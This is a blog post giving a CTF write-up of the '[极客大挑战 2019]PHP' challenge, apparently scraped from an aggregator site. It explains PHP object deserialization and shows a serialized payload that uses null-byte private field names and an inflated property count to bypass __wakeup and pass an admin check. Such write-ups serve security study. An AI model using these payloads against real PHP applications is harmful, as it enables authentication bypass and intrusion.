码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • web:[极客大挑战 2019]PHP


    题目

    点进页面显示如下

    根据页面提示,这个网站有备份文件,备份文件一般是bak文件格式,用dirsearch扫描

    访问之后下载了一个文件

    里面都是一些代码

    在index.php中发现了一个类的文件,一个get传参,然后将传进的值进行反序列化

    在class.php中,如果username===admin,password=100,返回flag

    构造一个反序列化

    1. class Name{
    2. private $username = "admin";
    3. private $password = 100;
    4. }
    5. $a = new Name();
    6. $str=serialize($a);
    7. echo $str;
    8. ?>

    Name和password之间有不可见字符,private声明的字段为私有字段,只在所声明的类中课件,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上ascii为0的字符(不可见字符)

    所以因改为

    O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
    

    这里还需要绕过__wakeup函数

    构造payload

    ?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

    总结

    1.从__destruct,__construct,__wakeup可以判断存在反序列化漏洞

    2.php序列化与反序列化
    序列化:函数为serialize(),把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等
    反序列化:函数为unserialize(),将字符串转换成变量或对象的过程
    常用的内置方法:
    __construct():创建对象时初始化,当一个对象创建时被调用
    __wakeup() 使用unserialize时触发
    __sleep() 使用serialize时触发
    __destruction():结束时销毁对象,当一个对象销毁时被调用

    3.private声明的字段为私有字段,只在所声明的类中课件,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上ascii为0的字符(不可见字符)

    4.__wakeup函数绕过

    在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行
    原本:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
    绕过:O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

    参考学习链接:

    [极客大挑战 2019]PHP

    [极客大挑战 2019]PHP unserialize_buuctf [极客大挑战 2019]php-CSDN博客

  • 相关阅读:
    〖大前端 - 基础入门三大核心之JS篇㉟〗- JavaScript 的DOM简介
    WordPress媒体文件夹v5.1.2插件WP Media folde
    [JavaWeb学习] Spring Ioc和DI概念思想
    Windows编程技术之资源释放
    消息中间件Kafuka学习——初次配置使用
    Android——模块级build.gradle配置——applicationId和namespace
    Gstreamer应用开发实战指南(五)
    LeetCode-219. 存在重复元素 II.(java)
    基于PolygonL2层方案构建自己的域名服务
    [VIM]spcaevim
  • 原文地址:https://blog.csdn.net/gsumall04/article/details/133443450
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号